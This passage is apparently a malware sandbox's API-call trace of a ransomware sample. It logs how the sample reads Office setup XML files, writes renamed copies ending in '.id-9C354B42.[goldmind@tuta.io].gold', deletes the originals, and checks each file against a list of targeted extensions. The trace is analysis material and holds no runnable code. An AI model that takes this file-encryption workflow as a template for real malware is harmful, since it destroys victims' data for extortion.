Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.876] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.877] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.877] GetLastError () returned 0x0 [0038.877] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x648, lpOverlapped=0x0) returned 1 [0038.878] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x650, lpOverlapped=0x0) returned 1 [0038.879] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.879] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.879] SetEndOfFile (hFile=0x1b0) returned 1 [0038.879] CloseHandle (hObject=0x1b0) returned 1 [0038.880] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.880] SetEndOfFile (hFile=0x1f8) returned 1 [0038.880] CloseHandle (hObject=0x1f8) returned 1 [0038.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.881] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString=".doc") returned 4 [0038.881] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString=".docx") returned 5 [0038.881] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.881] lstrlenW (lpString=".pdf") returned 4 [0038.881] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString=".xls") returned 4 [0038.881] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString=".xlsx") returned 5 [0038.881] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.881] lstrlenW (lpString=".ppt") returned 4 [0038.881] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString=".zip") returned 4 [0038.881] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.881] lstrlenW (lpString=".rar") returned 4 [0038.881] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString=".bz2") returned 4 [0038.881] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString=".7z") returned 3 [0038.881] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString=".dbf") returned 4 [0038.881] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString=".1cd") returned 4 [0038.881] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.881] lstrlenW (lpString=".jpg") returned 4 [0038.892] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.892] lstrlenW (lpString=".doc") returned 4 [0038.892] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString=".docx") returned 5 [0038.892] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.892] lstrlenW (lpString=".pdf") returned 4 [0038.892] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString=".xls") returned 4 [0038.892] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString=".xlsx") returned 5 [0038.892] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.892] lstrlenW (lpString=".ppt") returned 4 [0038.892] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.892] lstrlenW (lpString=".zip") returned 4 [0038.892] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.892] lstrlenW (lpString=".rar") returned 4 [0038.892] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString=".bz2") returned 4 [0038.892] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString=".7z") returned 3 [0038.892] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.892] lstrlenW (lpString=".dbf") returned 4 [0038.892] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.892] lstrlenW (lpString=".1cd") returned 4 [0038.892] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0038.893] lstrlenW (lpString=".jpg") returned 4 [0038.893] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.893] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.893] lstrlenW (lpString="SETUP.XML") returned 9 [0038.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.899] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=6241) returned 1 [0038.899] CloseHandle (hObject=0x178) returned 1 [0038.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0038.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.900] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.900] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.900] GetLastError () returned 0x0 [0038.900] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1861, lpOverlapped=0x0) returned 1 [0038.901] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1870, lpOverlapped=0x0) returned 1 [0038.902] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.902] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.902] SetEndOfFile (hFile=0x1fc) returned 1 [0038.902] CloseHandle (hObject=0x1fc) returned 1 [0038.903] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.903] SetEndOfFile (hFile=0x178) returned 1 [0038.904] CloseHandle (hObject=0x178) returned 1 [0038.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".doc") returned 4 [0038.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".docx") returned 5 [0038.905] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.905] lstrlenW (lpString=".pdf") returned 4 [0038.905] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".xls") returned 4 [0038.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".xlsx") returned 5 [0038.905] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.905] lstrlenW (lpString=".ppt") returned 4 [0038.905] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".zip") returned 4 [0038.905] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.905] lstrlenW (lpString=".rar") returned 4 [0038.905] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".bz2") returned 4 [0038.905] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".7z") returned 3 [0038.905] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".dbf") returned 4 [0038.905] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".1cd") returned 4 [0038.905] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".jpg") returned 4 [0038.905] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.905] lstrlenW (lpString=".doc") returned 4 [0038.905] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".docx") returned 5 [0038.905] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.905] lstrlenW (lpString=".pdf") returned 4 [0038.905] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".xls") returned 4 [0038.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.905] lstrlenW (lpString=".xlsx") returned 5 [0038.906] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.906] lstrlenW (lpString=".ppt") returned 4 [0038.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.906] lstrlenW (lpString=".zip") returned 4 [0038.906] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.906] lstrlenW (lpString=".rar") returned 4 [0038.906] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.906] lstrlenW (lpString=".bz2") returned 4 [0038.906] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.906] lstrlenW (lpString=".7z") returned 3 [0038.906] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.906] lstrlenW (lpString=".dbf") returned 4 [0038.906] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.906] lstrlenW (lpString=".1cd") returned 4 [0038.906] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0038.906] lstrlenW (lpString=".jpg") returned 4 [0038.906] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.906] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.906] lstrlenW (lpString="SETUP.XML") returned 9 [0038.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.907] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=20577) returned 1 [0038.907] CloseHandle (hObject=0x178) returned 1 [0038.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0038.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0038.907] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.907] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.908] GetLastError () returned 0x0 [0038.908] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5061, lpOverlapped=0x0) returned 1 [0038.909] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5070, lpOverlapped=0x0) returned 1 [0038.910] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.910] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.910] SetEndOfFile (hFile=0x1fc) returned 1 [0038.911] CloseHandle (hObject=0x1fc) returned 1 [0038.911] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.911] SetEndOfFile (hFile=0x178) returned 1 [0038.912] CloseHandle (hObject=0x178) returned 1 [0038.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.912] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0038.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".doc") returned 4 [0038.913] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".docx") returned 5 [0038.913] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.913] lstrlenW (lpString=".pdf") returned 4 [0038.913] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".xls") returned 4 [0038.913] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".xlsx") returned 5 [0038.913] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.913] lstrlenW (lpString=".ppt") returned 4 [0038.913] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".zip") returned 4 [0038.913] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.913] lstrlenW (lpString=".rar") returned 4 [0038.913] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".bz2") returned 4 [0038.913] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".7z") returned 3 [0038.913] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".dbf") returned 4 [0038.913] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".1cd") returned 4 [0038.913] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".jpg") returned 4 [0038.913] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.913] lstrlenW (lpString=".doc") returned 4 [0038.913] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.913] lstrlenW (lpString=".docx") returned 5 [0038.914] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.914] lstrlenW (lpString=".pdf") returned 4 [0038.914] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString=".xls") returned 4 [0038.914] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString=".xlsx") returned 5 [0038.914] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.914] lstrlenW (lpString=".ppt") returned 4 [0038.914] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.914] lstrlenW (lpString=".zip") returned 4 [0038.914] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.914] lstrlenW (lpString=".rar") returned 4 [0038.914] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString=".bz2") returned 4 [0038.914] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString=".7z") returned 3 [0038.914] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.914] lstrlenW (lpString=".dbf") returned 4 [0038.914] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.914] lstrlenW (lpString=".1cd") returned 4 [0038.914] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0038.914] lstrlenW (lpString=".jpg") returned 4 [0038.914] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.914] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.914] lstrlenW (lpString="VisiorWW.XML") returned 12 [0038.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), 